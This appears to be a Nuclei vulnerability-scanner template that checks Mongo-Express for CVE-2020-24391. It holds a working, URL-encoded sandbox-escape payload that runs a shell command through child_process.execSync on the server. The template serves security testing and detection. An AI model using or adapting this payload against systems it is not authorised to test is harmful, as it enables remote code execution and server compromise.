62 lines
2.4 KiB
YAML
62 lines
2.4 KiB
YAML
id: CVE-2020-24391
|
|
|
|
info:
|
|
name: Mongo-Express - Remote Code Execution
|
|
author: leovalcante
|
|
severity: critical
|
|
description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
|
|
reference:
|
|
- https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
|
|
- https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-24391
|
|
- https://github.com/mongodb-js/query-parser/issues/16
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-24391
|
|
epss-score: 0.47848
|
|
epss-percentile: 0.97099
|
|
cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: mongo-express_project
|
|
product: mongo-express
|
|
framework: node.js
|
|
tags: cve,cve2020,mongo,express,rce,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /checkValid HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
|
|
- |
|
|
GET /public/css/{{randstr}}.css HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body_3
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
# digest: 4a0a00473045022100f7b3dbdc6b83d85e0481978dc08bca69506576ce53d93b3aa891ea3677f970d0022036e5338947675d5d410161d8e7b8a3337e92fef1103ceba102886329177d2b08:922c64590222798bb761d5b6d8e72950 |